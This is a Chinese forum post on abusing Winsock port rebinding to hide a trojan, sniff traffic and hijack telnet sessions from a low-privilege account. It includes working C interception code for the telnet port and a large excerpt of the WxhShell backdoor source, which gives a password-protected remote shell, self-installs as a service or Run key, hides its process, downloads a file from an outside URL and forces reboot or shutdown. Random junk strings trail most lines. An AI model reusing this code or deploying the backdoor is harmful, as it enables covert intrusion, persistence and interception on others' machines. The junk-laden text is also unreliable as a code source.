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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XG{zlOD+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S8j{V5R'  
iN8zo:&Z  
  saddr.sin_family = AF_INET; M{T-iW"  
4-H+vNG{%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "Nbq#w\  
2?ez,*-[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UIN<2F_  
hAnPXiD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >rKIG~P_  
!0LWa"  
  这意味着什么?意味着可以进行如下的攻击: My[pr_xg  
;LSANr&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MPg)=LI  
c>:wd@w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ywm8N%]v  
tm RXgTS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k],Q9  
!1 H# 6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9BBmw(M}  
0 e ~JMUb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c"V"zg22  
3/e.38m|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 EPM-df!=  
J({Xg?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RF4vtQC=  
-23w2Qt  
  #include >T3-  
  #include :L@?2),  
  #include l=)xo@6  
  #include    n QZwC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hwBfdZ  
  int main() 9YQb &  
  { e+ BQww  
  WORD wVersionRequested; Z|j>gq  
  DWORD ret; [KaAXv .X  
  WSADATA wsaData; ^-Kf']hU  
  BOOL val; V0.vQ/  
  SOCKADDR_IN saddr; d#rf5<i  
  SOCKADDR_IN scaddr; as4;:  
  int err; dx{bB%?Y\=  
  SOCKET s; u^bidd6JRn  
  SOCKET sc; (G4at2YLd  
  int caddsize; # 0Q]dO  
  HANDLE mt; hl(hJfp  
  DWORD tid;   1&evG-#<:  
  wVersionRequested = MAKEWORD( 2, 2 ); Gm.T;fc:  
  err = WSAStartup( wVersionRequested, &wsaData ); u jq=F  
  if ( err != 0 ) { 9gEwh<  
  printf("error!WSAStartup failed!\n"); ?; +1)>{  
  return -1; )E@.!Ut4o  
  } "ZoRZ'i  
  saddr.sin_family = AF_INET; z] P SpUd  
   }mq6]ZrK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wyj{zWRJp  
BsqP?/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a#y;dK  
  saddr.sin_port = htons(23); l%puHZ)t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5Y'qaIFR  
  { n:\~'+$  
  printf("error!socket failed!\n"); xH(lm2kvT  
  return -1; 9_rYBX  
  } NAQAU *yP  
  val = TRUE; #Z`q+@@ ]A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )Y6 +  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i6tf2oqO7  
  { ith 3 =`3  
  printf("error!setsockopt failed!\n"); m}aB?+i  
  return -1; .4M.y:F  
  } $i}y8nlQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RJ ||}5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aS{n8P6vW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;I 9&]   
6YLj^w] %  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <+Dn8  
  { 3<Zq ]jk?n  
  ret=GetLastError(); bv9i*]  
  printf("error!bind failed!\n"); gG:Vt}N  
  return -1; EQyC1j  
  } LX7FaW  
  listen(s,2); '4Ixqb+  
  while(1) 4Lh!8g=/  
  { ;R5`"`  
  caddsize = sizeof(scaddr); %C'?@,7C  
  //接受连接请求 &Gn 2tr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W5lR0)~#*  
  if(sc!=INVALID_SOCKET) ]kG"ubHV?h  
  { zyc"]IzOU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c~$)UND^  
  if(mt==NULL) o]` *M|  
  { @+M /&  
  printf("Thread Creat Failed!\n"); KL:j?.0  
  break; .TR9975  
  } {M$1N5Eh  
  } !M]uL&:  
  CloseHandle(mt); z(exA  
  } >#;.n(y  
  closesocket(s); w%VU/6~  
  WSACleanup(); HU }7zK2  
  return 0; C:* *;=.  
  }   ,p@y] cr  
  DWORD WINAPI ClientThread(LPVOID lpParam) i]y<|W)Q3  
  { :O?MSS;~  
  SOCKET ss = (SOCKET)lpParam; FLCexlv^  
  SOCKET sc; \H~T>j{N  
  unsigned char buf[4096]; axRV:w;E<  
  SOCKADDR_IN saddr; FQ2  
  long num; a %'the  
  DWORD val; _AYK435>N  
  DWORD ret; TJpD{p}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Xy&A~F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %~JJ.&  
  saddr.sin_family = AF_INET; el<s8:lA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [f-?y mmT  
  saddr.sin_port = htons(23); }[};IqVaK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ae^~Cz1qz  
  { '&R2U_  
  printf("error!socket failed!\n"); p8H'{f\G  
  return -1; D/B8tf+V  
  } u+e{Mim  
  val = 100; vnt%XU,,Y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +I:Unp  
  { };bEU wGWf  
  ret = GetLastError(); nQtWvT  
  return -1; TnOggpQ6X  
  } qIE9$7*X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [nG<[<0G;  
  { [M}{G5U.  
  ret = GetLastError(); '8. r-`l(  
  return -1; B+VubUPMS  
  } <X^@*79m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /-qNh >v4  
  { :&rt)/I  
  printf("error!socket connect failed!\n"); H8zK$!  
  closesocket(sc); \*y-g@-{W$  
  closesocket(ss); V-2(?auZd  
  return -1; VT`^W Hu  
  } F>6|3bOR  
  while(1) b:m88AG  
  { gNrjo=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UiP"Ixg6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6|%?tex  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \?ZB]*Fu  
  num = recv(ss,buf,4096,0); T|op$ s|  
  if(num>0) n)e 6>R ;  
  send(sc,buf,num,0); vHc%z$-d  
  else if(num==0) !r8 `Yrn  
  break; YQ)kRhFA  
  num = recv(sc,buf,4096,0); c(m<h+ 2VL  
  if(num>0) 1 ~*7f>  
  send(ss,buf,num,0); ]BZA:dd.G  
  else if(num==0) q[ZTHd.-  
  break; =tn)}Y.<e  
  } 6qpJUkd  
  closesocket(ss); N7QK> "a  
  closesocket(sc); ,vawzq[oSy  
  return 0 ; "'.UU$]d  
  } 7\[@ m3s  
:T$|bc  
r~8 $1"  
========================================================== t%FwXaO#  
Zw9FJ/Zn@  
下边附上一个代码,,WXhSHELL ]t,BMu=%  
^Za-`8#`L  
========================================================== o#gWbAG;]b  
|\t-g" ~sN  
#include "stdafx.h" (vnAbR#e  
{.|CdqwY  
#include <stdio.h> PO^ij2eS  
#include <string.h> '<xXK@=KEI  
#include <windows.h> "ycJ:Xv49  
#include <winsock2.h> P%VSAh\|n  
#include <winsvc.h> ({)+3]x  
#include <urlmon.h> e4_rC'=  
c )g\/  
#pragma comment (lib, "Ws2_32.lib") RnE4<Cy  
#pragma comment (lib, "urlmon.lib") w<3#1/g!2B  
>J?fl8  
#define MAX_USER   100 // 最大客户端连接数 o4,6.1}  
#define BUF_SOCK   200 // sock buffer SmH=e@y~Lx  
#define KEY_BUFF   255 // 输入 buffer I)[DTCJ~  
aCj&O:]=  
#define REBOOT     0   // 重启 :#ik. D  
#define SHUTDOWN   1   // 关机 ^|>PA:%  
n\D&!y[]F  
#define DEF_PORT   5000 // 监听端口 P=Jo+4O  
uym*a4J  
#define REG_LEN     16   // 注册表键长度 RJ&RTo  
#define SVC_LEN     80   // NT服务名长度 xn(kKB.  
At>DjKx]O  
// 从dll定义API E_wCN&`[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a0E)2vt4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j0aXyLNX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k5e;fA/w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 50wulGJud  
]7BvvQ  
// wxhshell配置信息 #x60xz  
struct WSCFG { 5m 4P\y^a  
  int ws_port;         // 监听端口 5 PJhEB  
  char ws_passstr[REG_LEN]; // 口令 }C?'BRX  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4f@rv^f(X  
  char ws_regname[REG_LEN]; // 注册表键名 WDD%Q8ejV&  
  char ws_svcname[REG_LEN]; // 服务名 itP,\k7>d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =BAr .m+"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _8J.fT$${  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p38-l'{#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JR21>;l#2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HM1Fz\Sf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aFm_;\  
&`r-.&Y  
}; m? }6)\ob  
p27~>xQ  
// default Wxhshell configuration P|E| $)m  
struct WSCFG wscfg={DEF_PORT, rJ4S%6w  
    "xuhuanlingzhe", FVbb2Y?R  
    1, Lg.gfny[(t  
    "Wxhshell", 8/cX]J  
    "Wxhshell", 5Ln,{vsv  
            "WxhShell Service", M FMs[+2_o  
    "Wrsky Windows CmdShell Service", BwpqNQN  
    "Please Input Your Password: ", &wawr2)}  
  1, Q"d^_z ]K  
  "http://www.wrsky.com/wxhshell.exe", RSRS wkC  
  "Wxhshell.exe" {\1?ZrCI&  
    }; \?-<4Bc@  
Hzz %3}E  
// 消息定义模块 yx[/|nZDC4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '<)n8{3Q5w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eC4[AX6e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lrE5^;/s1  
char *msg_ws_ext="\n\rExit."; ? :%@vM  
char *msg_ws_end="\n\rQuit."; ec;o\erPG  
char *msg_ws_boot="\n\rReboot..."; I$G['` XX/  
char *msg_ws_poff="\n\rShutdown..."; {dlXLx!B  
char *msg_ws_down="\n\rSave to "; ^uc=f2=>,  
{}n^cq  
char *msg_ws_err="\n\rErr!"; iWkWR"ys y  
char *msg_ws_ok="\n\rOK!"; | YWD8 +  
adcE'fA<_  
char ExeFile[MAX_PATH]; EME|k{W  
int nUser = 0; ;JT-kw6l5K  
HANDLE handles[MAX_USER]; `$ 9x1dx  
int OsIsNt; a58H9w"u)  
qInR1r<  
SERVICE_STATUS       serviceStatus; 9W5lSX#^;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *N<]Xy @  
,ZNq,$j  
// 函数声明 ;igIZ$&  
int Install(void); h(dvZ= %  
int Uninstall(void); %wy.TN  
int DownloadFile(char *sURL, SOCKET wsh); h;"4+uw  
int Boot(int flag); ?l{nk5,?-Y  
void HideProc(void); C{rcs'  
int GetOsVer(void); hi( ;;C9  
int Wxhshell(SOCKET wsl); 2F.;;Ab  
void TalkWithClient(void *cs); ADzhNf S  
int CmdShell(SOCKET sock); 'IQ0{&EI  
int StartFromService(void); ]%H`_8<gc  
int StartWxhshell(LPSTR lpCmdLine); q54]1TQ  
tDcT%D {:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q<|AZ2Ai  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /,yd+wcW#  
 mq.`X:e  
// 数据结构和表定义 ZMlm)?m  
SERVICE_TABLE_ENTRY DispatchTable[] = bAqA1y3=  
{ p]TAELy  
{wscfg.ws_svcname, NTServiceMain}, 2%m BK  
{NULL, NULL} 2/^3WY1U  
}; </z Eg3F\  
\M^bD4';>  
// 自我安装 Qw*|qGvy^  
int Install(void) 4+8@`f>s  
{ f$$/H>MJ  
  char svExeFile[MAX_PATH]; "KpGlY?^  
  HKEY key; H7n>Vx:L-  
  strcpy(svExeFile,ExeFile); 0{D'n@veP  
va@Lz&sAE%  
// 如果是win9x系统,修改注册表设为自启动 k4J+J.|  
if(!OsIsNt) { N4!O.POP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ti5-6%~&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6 H$FhJF  
  RegCloseKey(key); -Q*gW2KmV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O^ yG?b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 24eLB? H  
  RegCloseKey(key); q0vQ a  
  return 0; ,f>k%_U}  
    } Y:[u1~a  
  } *GPiOA a  
} Vc Z3 X4/  
else { #X1ND  
|Rk@hzM2S  
// 如果是NT以上系统,安装为系统服务 0GeTS Fj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WOap+  
if (schSCManager!=0) GD$l| |8  
{ )y$(AJx$  
  SC_HANDLE schService = CreateService #"~<HG}bR/  
  ( y<Ot)fa$  
  schSCManager, F]&*o w  
  wscfg.ws_svcname, +mn[5Y}:  
  wscfg.ws_svcdisp, q/,O\,  
  SERVICE_ALL_ACCESS, X \/#@T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NBGH_6DROw  
  SERVICE_AUTO_START, kuP(r  
  SERVICE_ERROR_NORMAL, sXPe/fWo  
  svExeFile, )SGq[B6@I  
  NULL, ?Uo BV$  
  NULL, |CyE5i0  
  NULL, 4kx N<]  
  NULL, /\n- P'}  
  NULL j\M?~=*w  
  ); @o`AmC . 8  
  if (schService!=0) L!xi  
  { Gd85kY@w7  
  CloseServiceHandle(schService); gcT%c|.  
  CloseServiceHandle(schSCManager); ?Ir:g=RP*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ym1Y4,  
  strcat(svExeFile,wscfg.ws_svcname);  @q) d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P&Vv/D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j8sH|{H!Nq  
  RegCloseKey(key); 8":Q)9;%  
  return 0; O=7CMbS3  
    } |sE'XT4ag  
  } WpvhTX  
  CloseServiceHandle(schSCManager); w}L[u r;I_  
} S f# R0SA  
} 9->if/r,o  
t?FBG4  
return 1; R:qW;n%AF  
} H Pz+Dm  
(E1~H0^  
// 自我卸载 CrTw@AW9)  
int Uninstall(void) p!%pP}I  
{ G3T]`Atf  
  HKEY key; |[8Th4*n  
9\(| D#  
if(!OsIsNt) { Q3?F(ER@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p]c%f 2E>d  
  RegDeleteValue(key,wscfg.ws_regname); ;O,jUiQ  
  RegCloseKey(key); hhvyf^o   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4*;MJ[|  
  RegDeleteValue(key,wscfg.ws_regname); f$QNg0v  
  RegCloseKey(key); ns4,@C$  
  return 0; mt.))#1  
  } Y'X%Aw;`  
} HGg@ _9tW  
} )4;`^]F  
else { 0"z9Q\{}  
,V}WM%Km  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qH_Dc=~la  
if (schSCManager!=0) K3uRs{l|  
{ u*9V&>o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a 1*p*dM#  
  if (schService!=0) ,a? o aPH  
  { veECfR;  
  if(DeleteService(schService)!=0) { 5"H=zJ=r  
  CloseServiceHandle(schService); \~wMfP8  
  CloseServiceHandle(schSCManager); d0> zS  
  return 0; 9lE_nc  
  } 2 yz _  
  CloseServiceHandle(schService); TA~{1_l  
  } `Q,H|hp;k;  
  CloseServiceHandle(schSCManager); j] [,J49L  
} q@2siI~W  
} pfI&E#:5  
I%Z  
return 1; Dvln/SBk  
} e+K^A q  
BJ(M2|VH  
// 从指定url下载文件 08{@rOr  
int DownloadFile(char *sURL, SOCKET wsh) Etm?'  
{ w4Z'K&d=  
  HRESULT hr; 7K:PdF>/  
char seps[]= "/"; \73ch  
char *token; 32 =z)]FZ  
char *file;  9gZ$   
char myURL[MAX_PATH]; `r_/Wt{g  
char myFILE[MAX_PATH]; )!T/3|C  
Xn ;AZu^'R  
strcpy(myURL,sURL); A+{VGP^  
  token=strtok(myURL,seps); (7*}-Uy[C  
  while(token!=NULL) 6W Ur QFK  
  { Gs[XJ 5%`~  
    file=token; @KAI4LP  
  token=strtok(NULL,seps); #.[k=dj   
  } 0m ? )ROaJ  
:BT q!>s  
GetCurrentDirectory(MAX_PATH,myFILE); #e5\j\#.  
strcat(myFILE, "\\"); T[j,UkgGo  
strcat(myFILE, file); m l$o5&sN  
  send(wsh,myFILE,strlen(myFILE),0); T[A 69O]v  
send(wsh,"...",3,0); Ga'swP=hf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L/^I*p,  
  if(hr==S_OK) ?z u8)U  
return 0; >o,TZc\  
else "zy7C*)>r  
return 1; I<tm"?q0  
8\gjST*  
} v.5+7,4  
)dSi/  
// 系统电源模块 4X|zmr:A  
int Boot(int flag) EJ@ ~/)<  
{ ~PNub E  
  HANDLE hToken; W@!S%Y9  
  TOKEN_PRIVILEGES tkp; ;9g2?-svw  
OZ!^ak  
  if(OsIsNt) { 4E?Oky#}-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6LZ;T.0o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {]|J5Dgfe  
    tkp.PrivilegeCount = 1; 0SPk|kr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dcT80sOC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); */DO ex"y  
if(flag==REBOOT) { {1 94!S4z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0qT%!ku&  
  return 0; Wo ,?+I  
} 29q _BR *:  
else { `@|$,2[C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^sg,\zD 'X  
  return 0; sn>~O4"  
} Mb7I[5v  
  } >-{Hyx  
  else { \D&KC,i5f  
if(flag==REBOOT) { /H+a0`/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7v_8_K  
  return 0; M& CqSd  
} GvlS%  
else { OK g qT!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 76` .Y  
  return 0; ,,|^%Ct']  
} 5rUdv}.  
} .3!1`L3  
@ur+;IK$  
return 1; T9q-,w/j;  
} aFIw=c(nP  
W`*r>`krVJ  
// win9x进程隐藏模块 &]-DqK7  
void HideProc(void) *4_Bd=5(U  
{ s(roJbJ_;  
S`?!G&[!>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9Lfv^V0  
  if ( hKernel != NULL ) 5nVt[Puw  
  { '$QB$2~V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G9@0@2aY8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *k>n<p3dd  
    FreeLibrary(hKernel); Q)z8PQl O  
  } BDZ?Ez \Sg  
ji,kkipY?w  
return; k.15CA`  
} #yvGK:F  
eQvg7aO;  
// 获取操作系统版本 w:l V"]1  
int GetOsVer(void) ?@ $r  
{ e64^ChCoV  
  OSVERSIONINFO winfo; Lq!>kT<]!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;P&OX5~V  
  GetVersionEx(&winfo); N$:8 ,9.z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7i1q wRv  
  return 1; 7 x?<*T  
  else 8kDp_s i  
  return 0; U|j`e5)  
} O!bOp=  
5.J.RE"M  
// 客户端句柄模块 w^0nqh  
int Wxhshell(SOCKET wsl) K,:N   
{ _2 osV[e  
  SOCKET wsh; 5d!-G$ @  
  struct sockaddr_in client; yJe>JK~)  
  DWORD myID; ZWp(GC1NA  
c-FcEW  
  while(nUser<MAX_USER) t.\dpBq  
{ 8|58 H  
  int nSize=sizeof(client); YkQd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1]/.` ]1  
  if(wsh==INVALID_SOCKET) return 1; g9 5`.V}  
@2v_pJy^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =rX>1  
if(handles[nUser]==0) IRqy%@)  
  closesocket(wsh); 9490o:s  
else 6Sn.I1Wy  
  nUser++; QUQ'3  
  } 0}dpK $.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tc3yS(aq  
liz~7RY4  
  return 0; K@w{"7}  
} 0NX,QD  
b9dLt6d  
// 关闭 socket l0i^uMS  
void CloseIt(SOCKET wsh) delu1r  
{ D*|Bb?  
closesocket(wsh); 4x[S\,20  
nUser--; 07=mj%yV  
ExitThread(0); t}/( b/VD  
} x `)&J B  
=kG@a(-  
// 客户端请求句柄 Q>1[JW{$}  
void TalkWithClient(void *cs) KL Xq\{X  
{ [0D .K}7|  
ijx0gh`~  
  SOCKET wsh=(SOCKET)cs; 0>Z_*U~6  
  char pwd[SVC_LEN]; *% @h(js  
  char cmd[KEY_BUFF]; =+d?x 56  
char chr[1]; 2*#|Nj=^  
int i,j; 4d;8`66O  
gEE\y{y  
  while (nUser < MAX_USER) { Qv/=&_6  
*<ewS8f*6  
if(wscfg.ws_passstr) { *$ %a:q1U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UN<]N76!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gjo`&#  
  //ZeroMemory(pwd,KEY_BUFF); u!qP  
      i=0; h>OfOx/{q9  
  while(i<SVC_LEN) { 85xR2<:  
f^XOUh  
  // 设置超时 {%6`!WW[  
  fd_set FdRead; Ck7uJI<x  
  struct timeval TimeOut; pBA7,z"`mP  
  FD_ZERO(&FdRead); ~Vjl7G\7i  
  FD_SET(wsh,&FdRead); q.`NtsW!\+  
  TimeOut.tv_sec=8; k7A-J\  
  TimeOut.tv_usec=0; \.#>=!Ie  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WbqWG^W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Czu\RXJR  
8StgsM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _/5H l`  
  pwd=chr[0]; Pw!MS5=r  
  if(chr[0]==0xd || chr[0]==0xa) { ChXq4]  
  pwd=0; #" iu| D  
  break; [-oc>; `=l  
  } AX/m25x  
  i++; 3HY9\'t6  
    } O55 xS+3^k  
!5uGd`^I  
  // 如果是非法用户,关闭 socket cJ @Wt>YI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 03S]8l  
} HBx=\%;n  
Z^MNf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K~eh P[^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P;]F(in=  
`(/w y  
while(1) { AoL2@C.C%D  
:yjKL^G>  
  ZeroMemory(cmd,KEY_BUFF); WWHoi{ q  
MfQ?W`Kop  
      // 自动支持客户端 telnet标准   )iK6:s #  
  j=0; pOG1jI5<{8  
  while(j<KEY_BUFF) { 2'MZ s]??w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2Ny"O.0h  
  cmd[j]=chr[0]; 7,9=uk>0\  
  if(chr[0]==0xa || chr[0]==0xd) { M,mvys$  
  cmd[j]=0; L"Olwwmk  
  break; 8k1Dj1@0z  
  } mk+B9?;cF-  
  j++; *CTlOy  
    } F,)%?<!I  
j*TYoH1  
  // 下载文件 __GqQUQ  
  if(strstr(cmd,"http://")) { VUR|OV%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |02gupqqi  
  if(DownloadFile(cmd,wsh)) i|*)I:SHU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ocS5SB]8  
  else KE3;V2Ym f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eHNyNVz  
  } \%N!5>cZ{  
  else { Oh6fj}eK  
5 -RsnF  
    switch(cmd[0]) { 6h,(wo3Y  
  RMWHN:9  
  // 帮助   =`s!;  
  case '?': { p hzKm9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !Bq3Z?xA}  
    break; {w^+\]tC  
  } dNL(G%Qj+"  
  // 安装 M>ruKHipFE  
  case 'i': { @8rx`9  
    if(Install()) x!58cS*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y+u_IJ  
    else z]`k#O%%)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9b"=9y,  
    break; 9=h'9Wo  
    } ^)*-Bo)I  
  // 卸载  ^J)mH[  
  case 'r': { !"/n/jz  
    if(Uninstall()) @wo(tf=@P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0+;bh {Eu  
    else  >DZw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k:F9. j%*  
    break; kH7(@Pa  
    } 3e;^/kf<9  
  // 显示 wxhshell 所在路径 ]B3=lc"  
  case 'p': { e:n<EnT  
    char svExeFile[MAX_PATH]; T@&K- UQ  
    strcpy(svExeFile,"\n\r"); Rww{:R  
      strcat(svExeFile,ExeFile); w\i\Wp,FP  
        send(wsh,svExeFile,strlen(svExeFile),0); (w/T-*  
    break; Xe:jAkDp  
    } Df<xWd2  
  // 重启 9V@V6TvW>&  
  case 'b': { G5aieD.#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ne{?:h.!  
    if(Boot(REBOOT)) '2nhv,|.U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *XbEiMJ  
    else { ^^as'Dk  
    closesocket(wsh); }Nm#q@o$P  
    ExitThread(0); jiS_G%G  
    }  fc-iAj  
    break; ]J$eDbaEjT  
